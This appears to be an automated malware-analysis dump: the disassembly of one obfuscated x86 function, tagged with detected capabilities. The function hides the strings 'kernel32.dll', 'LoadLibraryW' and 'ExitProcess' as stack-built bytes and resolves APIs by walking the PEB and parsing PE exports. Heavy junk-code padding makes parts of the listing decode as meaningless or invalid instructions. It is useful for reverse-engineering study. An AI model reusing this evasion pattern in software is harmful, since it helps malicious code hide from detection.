Function at 0x43d0e3
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push ecx
sub ecx, 0xa215
jmp 0x43c3c3
or ecx, 0xc11d
pop ecx
push ecx
push ebx
add esp, 4
add ecx, 0x8535
xor ecx, 0xf875
xor ecx, 0x1b84
add ecx, 0x14b17
pop ecx
mov dword [ebp - 0x1fa8], 0xffffffff
push eax
push edi
add esp, 4
or eax, 0x1024f
xor eax, 0x6112
add eax, 0x10da6
xor eax, 0x17045
pop eax
push eax
call 0x43c420
add byte [edi + 0x33], al
inc ebp
dec esi
inc edx
inc esi
cmp ecx, dword [edx + 0x33]
add esp, 4
pop eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x43c441
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ecx
push eax
add esp, 4
xor ecx, 0xb609
jmp 0x43c453
add bl, ch
add eax, 0x39354c33
xor ebx, dword [ecx + 0x52]
pop ecx
push edx
push edi
add esp, 4
or edx, 0xe940
jmp 0x43c466
pop edx
push edx
push esi
add esp, 4
xor edx, 0x1377a
pop edx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x43c4bb
push eax
jmp 0x43c48c
pop eax
push edi
or edi, 0xaf4e
call 0x43c4a4
add byte [esi + 0x4b], al
xor al, 0x4a
dec eax
inc eax
inc edi
inc ecx
inc esi
cmp dword [ebx - 0x307efb3c], eax
push ebp
add dword [eax], 0x81515f00
loope 0x43c44b
loope 0x43c4b4
add byte [ecx - 0x17], bl
add al, byte cs:[eax]
add bh, al
test eax, edi
invalid
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push ebx
call 0x43c4df
add byte [edi + 0x38], cl
dec esi
xor al, 0x4b
dec edx
add esp, 4
add ebx, 0x125e9
pop ebx
push eax
add eax, 0x843
or eax, 0x1628d
sub eax, 0x450f
jmp 0x43c502
pop eax
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x43c56a
push edx
push ecx
add esp, 4
sub edx, 0x171a1
sub edx, 0x12278
or edx, 0x9d60
xor edx, 0x16dfd
pop edx
push eax
or eax, 0x76d2
pop eax
push eax
push ebx
add esp, 4
add eax, 0x17070
pop eax
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x43c69b
cmp dword [ebp - 0xc08], 0
jle 0x43c68f
push ebx
add ebx, 0xa645
call 0x43c58d
add byte [esi + 0x43], al
aas
inc esp
dec ebp
cmp dword [eax + 0x3d], ecx
cmp al, 0x83
les eax, [ebx + ebx*2]
push edx
push eax
add esp, 4
xor edx, 0x32b0
xor edx, 0x2ce2
or edx, 0x9036
pop edx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x43c62b
push ecx
or ecx, 0x103e0
xor ecx, 0x1f0b
jmp 0x43c5d3
call 0x43c5e0
add byte [esi], dh
inc ebp
xor al, 0x36
push eax
inc edx
add esp, 4
pop ecx
push edx
add edx, 0x15ec4
jmp 0x43c5f0
pop edx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x43c613
mov dword [ebp - 0x14c0], 1
jmp 0x43c61d
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x43c68f
push esi
sub esi, 0x13274
pop esi
push ebx
push edi
add esp, 4
call 0x43c648
add byte [ecx + 0x4a], cl
aas
cmp esi, dword ss:[esi]
xor bh, byte [ebx]
cmp byte [ebx + 0x9e804c4], al
add byte [eax], al
add byte [eax], al
dec esi
aaa
cmp eax, 0x493d3e3d
aaa
add esp, 4
pop ebx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x43c56a
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x43c6e4
push edx
push ebx
add esp, 4
add edx, 0xafa5
xor edx, 0x751f
or edx, 0x1b62
pop edx
push edi
add edi, 0xd5c6
xor edi, 0x12db1
and edi, 0x12de4
and edi, 0x7d3a
pop edi
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x43c725
jmp 0x43c432
push ebx
push ebx
add esp, 4
xor ebx, 0xd603
sub ebx, 0xabe9
pop ebx
push edi
push eax
add esp, 4
and edi, 0xadd2
or edi, 0xa2ae
sub edi, 0x1865c
pop edi
push esi
xor esi, 0x16ffd
pop esi
push esi
and esi, 0x17691
or esi, 0xe2e0
or esi, 0xc5cb
pop esi
push eax
push ecx
add esp, 4
xor eax, 0x4178
pop eax
push eax
push ecx
add esp, 4
add eax, 0x6ae0
and eax, 0xc513
pop eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push ebx
push esi
add esp, 4
add ebx, 0x99e0
pop ebx
push edi
or edi, 0x363c
xor edi, 0x9a5
and edi, 0xc3b4
pop edi
push edx
push ebx
add esp, 4
or edx, 0x1601d
xor edx, 0x171a4
pop edx
mov dword [ebp - 0x1fac], 0xffffffff
push ecx
jmp 0x43c7e1
add ecx, 0xb746
or ecx, 0x14106
sub ecx, 0xbf01
pop ecx
push edi
push ebx
add esp, 4
and edi, 0xe51b
or edi, 0xe22c
xor edi, 0x3cde
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x43c829
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push ecx
push ecx
add esp, 4
and ecx, 0x2041
sub ecx, 0xc014
add ecx, 0x15b94
and ecx, 0xd91d
pop ecx
push ebx
or ebx, 0x5051
pop ebx
push ebx
push edx
add esp, 4
sub ebx, 0x9176
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x43c8a3
push ecx
jmp 0x43c874
pop ecx
push esi
call 0x43c883
add byte [esi + 0x35], cl
cmp edi, dword [edx]
dec ebx
xor al, 0x49
add esp, 4
jmp 0x43c88f
sub esi, 0xd1cb
pop esi
push esi
add esi, 0x5ccf
pop esi
jmp 0x43cad1
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push eax
add eax, 0x110d7
pop eax
push edi
push esi
add esp, 4
or edi, 0x17fba
sub edi, 0x454e
or edi, 0xc49f
pop edi
push esi
push ebx
add esp, 4
and esi, 0x88f2
or esi, 0x77a1
pop esi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x43c952
push edx
xor edx, 0x1774a
xor edx, 0x10545
xor edx, 0xab1a
pop edx
push edi
push esi
add esp, 4
or edi, 0x9cd8
pop edi
push eax
push esi
add esp, 4
or eax, 0x14c0c
add eax, 0x18136
pop eax
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x43ca83
cmp dword [ebp - 0xc10], 0
jle 0x43ca77
push eax
call 0x43c96d
add byte [ebx + 0x48], cl
xor dh, byte [ebx]
inc esp
inc eax
dec eax
add esp, 4
add eax, 0x1646f
sub eax, 0x688
add eax, 0xf16b
pop eax
push edx
or edx, 0x124dd
jmp 0x43c990
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x43ca13
push ebx
push eax
add esp, 4
jmp 0x43c9b3
jmp 0x43c9b9
jmp 0x43c9c2
pop ebx
push ebx
or ebx, 0xe3bb
sub ebx, 0xe300
pop ebx
push eax
and eax, 0x5e95
pop eax
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x43c9fb
mov dword [ebp - 0x14cc], 1
jmp 0x43ca05
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x43ca77
push edi
push ebx
add esp, 4
and edi, 0x93bb
jmp 0x43ca24
pop edi
push edx
add edx, 0x1609f
pop edx
push ecx
push edx
add esp, 4
add ecx, 0xb291
sub ecx, 0xca71
and ecx, 0x2bd6
pop ecx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x43c952
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x43cacc
push edx
sub edx, 0x40ae
call 0x43caa1
add byte [esi], bh
dec edi
inc ecx
aaa
xor cl, byte [eax + 0x44]
dec edi
add esp, 4
add edx, 0x1803b
call 0x43caba
add byte [eax + 0x48], dl
aaa
inc eax
xor eax, dword [edx + 0x37]
xor eax, 0xc4833238
add al, 0x5a
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x43cb0d
jmp 0x43c81a
push ecx
and ecx, 0xd00a
xor ecx, 0xeaac
or ecx, 0x176e5
pop ecx
push eax
or eax, 0x103c7
sub eax, 0x17049
call 0x43caff
add byte [ebx + 0x35], cl
xor al, 0x3e
inc edx
inc ebx
dec edi
add esp, 4
pop eax
mov dword [ebp - 0xa5c], 0
push edi
xor edi, 0x14bff
pop edi
push ebx
xor ebx, 0x836e
or ebx, 0x1675a
pop ebx
push edx
push ebx
add esp, 4
and edx, 0xb9f0
call 0x43cb3b
add byte [ecx + 0x46], al
dec ebx
dec esi
inc edi
xor cl, byte [edx - 0x7d]
les eax, [edx + ebx*2]
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
push ebx
add esp, 4
add ebx, 0x2de8
sub ebx, 0xb693
xor ebx, 0x1245e
xor ebx, 0x11a28
pop ebx
push edx
jmp 0x43cbb8
jmp 0x43cbbe
sub edx, 0x4fe
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push eax
sub eax, 0x65fc
pop eax
push ecx
push eax
add esp, 4
or ecx, 0xed4b
and ecx, 0xc97d
xor ecx, 0x90d1
pop ecx
push eax
push ebx
add esp, 4
or eax, 0x11e29
and eax, 0xc257
pop eax
push eax
push ecx
add esp, 4
xor eax, 0xe1c5
xor eax, 0x92d5
and eax, 0xb8c3
pop eax
push edx
and edx, 0x2aa1
and edx, 0x146fe
pop edx
push edx
push eax
add esp, 4
or edx, 0x4596
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ebx
push ebx
add esp, 4
sub ebx, 0x12783
or ebx, 0x17cb5
pop ebx
push ebx
sub ebx, 0x5512
and ebx, 0x324e
xor ebx, 0x17622
pop ebx
push esi
push edx
add esp, 4
xor esi, 0x1707a
pop esi
cmp dword [ebp - 0x14d4], 0
jne 0x43cd34
mov dword [ebp - 0x2e0], 0
jmp 0x43cff0
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ebx
push ecx
add esp, 4
add ebx, 0xd2b6
pop ebx
push ebx
add ebx, 0x448
and ebx, 0xdf7a
pop ebx
push esi
push edx
add esp, 4
add esi, 0xd0d0
pop esi
push ecx
push ebx
add esp, 4
or ecx, 0xde2d
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x43cd90
mov dword [ebp - 0x2e0], 0
jmp 0x43cff0
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edi
push esi
add esp, 4
add edi, 0x328b
pop edi
push edx
push esi
add esp, 4
add edx, 0x2637
pop edx
push esi
push edx
add esp, 4
jmp 0x43cdbf
add esi, 0x7bbd
pop esi
push ebx
or ebx, 0x2f4
pop ebx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edi
sub edi, 0xf59d
pop edi
push ecx
push ecx
add esp, 4
or ecx, 0xeb43
pop ecx
push ecx
sub ecx, 0x3f9e
call 0x43ce23
add byte [ecx + 0x40], al
xor al, 0x49
dec edi
dec edx
aas
add esp, 4
sub ecx, 0x12f47
pop ecx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push edi
and edi, 0xacda
and edi, 0x11b55
pop edi
push esi
push esi
add esp, 4
xor esi, 0xbc0e
pop esi
push esi
push edx
add esp, 4
or esi, 0x1409b
xor esi, 0x91f9
sub esi, 0x89dc
pop esi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x43cedc
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x43cf3f
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x43cdfb
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x43cdfb
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x43cf29
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x43cf33
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x43cf88
push edi
push eax
add esp, 4
xor edi, 0xfb08
pop edi
push edx
push esi
add esp, 4
call 0x43cf68
add byte [ebx + ecx*2 + 0x4e], cl
cmp al, 0x3e
inc ebx
xor al, byte ds:[ebx - 0x157efb3c]
scasb al, byte es:[edi]
add byte [ecx], 0
pop edx
push edx
xor edx, 0x40b
pop edx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x43cff0
push esi
and esi, 0x10cce
and esi, 0xdc94
pop esi
push edx
jmp 0x43cf9e
call 0x43cfaa
add byte [ebx], dh
inc ecx
dec esp
xor eax, 0xc483453c
add al, 0x81
ljmp 0xea81
push edi
push edx
add esp, 4
add edi, 0x13090
jmp 0x43d003
add edi, 0x12b25
pop edi
push esi
push eax
add esp, 4
xor esi, 0xe227
add esi, 0xb8d9
sub esi, 0x1791b
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x43d93b
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edi
push ecx
add esp, 4
add edi, 0x2cbb
pop edi
push edi
call 0x43d0e3
add byte [esi + 0x4e], al
xor eax, 0x3e40364e
add esp, 4
sub edi, 0x3555
xor edi, 0x118fb
jmp 0x43d0f9
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edi
push ecx
add esp, 4
or edi, 0x9a18
sub edi, 0x17c49
and edi, 0x4dea
and edi, 0x4116
pop edi
push esi
or esi, 0x1546b
or esi, 0xa1ba
or esi, 0x15371
pop esi
cmp dword [ebp - 0x14dc], 0
jne 0x43d1c6
mov dword [ebp - 0x6ec], 0
jmp 0x43d482
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edx
add edx, 0xee55
xor edx, 0xa52d
sub edx, 0xdb3e
pop edx
push edx
push edx
add esp, 4
and edx, 0xd2b5
pop edx
push edx
push ecx
add esp, 4
or edx, 0xe289
jmp 0x43d209
pop edx
cmp dword [ebp - 0xc2c], 0
jne 0x43d222
mov dword [ebp - 0x6ec], 0
jmp 0x43d482
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ecx
push ebx
add esp, 4
sub ecx, 0xc247
sub ecx, 0x1058d
pop ecx
push edx
xor edx, 0x11b9d
xor edx, 0xaa4e
jmp 0x43d253
pop edx
push ebx
push ecx
add esp, 4
and ebx, 0x18145
pop ebx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edi
push esi
add esp, 4
jmp 0x43d298
sub edi, 0x11eed
or edi, 0xd20b
add edi, 0x10659
pop edi
push ebx
and ebx, 0x8968
sub ebx, 0x115cb
add ebx, 0x15213
pop ebx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
jmp 0x43d323
xor esi, 0x11339
pop esi
push eax
push ecx
add esp, 4
jmp 0x43d338
xor eax, 0x425e
xor eax, 0x16b3a
sub eax, 0x9917
pop eax
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x43d36e
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x43d3d1
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x43d28d
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x43d28d
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x43d3bb
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x43d3c5
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x43d41a
push edx
or edx, 0x30fd
call 0x43d3ee
add byte [esi], dh
aaa
cmp dword [0x83503c4d], esi
les eax, [ecx + eax*4]
ljmp 0x565a
push esi
and esi, 0x6d30
add esi, 0x8c4d
pop esi
push ecx
push ebx
add esp, 4
and ecx, 0xaf59
sub ecx, 0x8fbc
pop ecx
push ecx
push edx
add esp, 4
sub ecx, 0x791
xor ecx, 0x14116
pop ecx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x43d478
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x43d22e
mov dword [ebp - 0x6ec], 0
push edi
or edi, 0x50cb
sub edi, 0x8ca7
and edi, 0x17fb8
pop edi
push ebx
push edi
add esp, 4
sub ebx, 0x5863
and ebx, 0x52f7
or ebx, 0x2280
add ebx, 0x2746
pop ebx
cmp dword [ebp - 0x6ec], 0
jne 0x43d4fe
push ecx
or ecx, 0x109ad
and ecx, 0xfdf0
add ecx, 0xc760
xor ecx, 0x125a3
pop ecx
push eax
push ebx
add esp, 4
and eax, 0x1696a
and eax, 0xbf7f
xor eax, 0x2477
pop eax
mov dword [ebp - 0x738], 0
jmp 0x43e025
push ebx
add ebx, 0xba04
pop ebx
push esi
and esi, 0x2752
pop esi
push edx
and edx, 0x10f40
pop edx
push esi
or esi, 0x1384a
and esi, 0xfc92
or esi, 0x308a
sub esi, 0x131bb
pop esi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x43d56f
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x43d860
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x43d597
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x43d860
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x43d5c9
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x43d860
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x43d5ee
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x43d860
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x43d648
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x43d854
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x43d6b8
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x43d76a
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x43d76a
push edx
push edx
add esp, 4
xor edx, 0x136ce
add edx, 0xce66
pop edx
push ecx
push ecx
add esp, 4
jmp 0x43d701
xor ecx, 0x1100a
jmp 0x43d710
sub ecx, 0xc766
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x43d75c
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x43d763
jmp 0x43d6a9
jmp 0x43d76a
push ebx
push edx
add esp, 4
and ebx, 0xc810
sub ebx, 0xc7b0
pop ebx
push edx
push ebx
add esp, 4
or edx, 0x13dbc
jmp 0x43d78f
add edx, 0x14f12
and edx, 0x9e6a
pop edx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x43d7c9
mov dword [ebp - 0xc30], 0
jmp 0x43d838
push eax
and eax, 0x15058
or eax, 0xd7d7
pop eax
push edi
sub edi, 0x15024
and edi, 0xa20d
sub edi, 0xd2ec
call 0x43d7f7
add byte [ebx + 0x35], cl
dec edi
dec esp
dec ecx
inc edi
dec esp
add esp, 4
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x43d82e
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x43d838
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x43d84f
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x43d860
jmp 0x43d639
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x43d93b
push eax
sub eax, 0xdcbc
pop eax
push ecx
add ecx, 0x16702
and ecx, 0x9408
or ecx, 0x85b4
pop ecx
push ecx
xor ecx, 0xb4fc
and ecx, 0xb3f9
pop ecx
push edi
jmp 0x43d89e
pop edi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edi
xor edi, 0x9073
pop edi
push esi
push eax
add esp, 4
jmp 0x43d8bd
pop esi
push ecx
sub ecx, 0x13e0b
call 0x43d8d3
add byte [eax + 0x4a], al
aaa
cmp ecx, dword [ebp + 0x41]
aaa
dec esi
add esp, 4
xor ecx, 0x11d27
pop ecx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x43d93b
push ecx
push edi
add esp, 4
sub ecx, 0x179ec
or ecx, 0x7350
and ecx, 0x2775
xor ecx, 0x12705
pop ecx
push edi
add edi, 0xf192
xor edi, 0x2200
xor edi, 0xe000
pop edi
mov dword [ebp - 0x738], 0
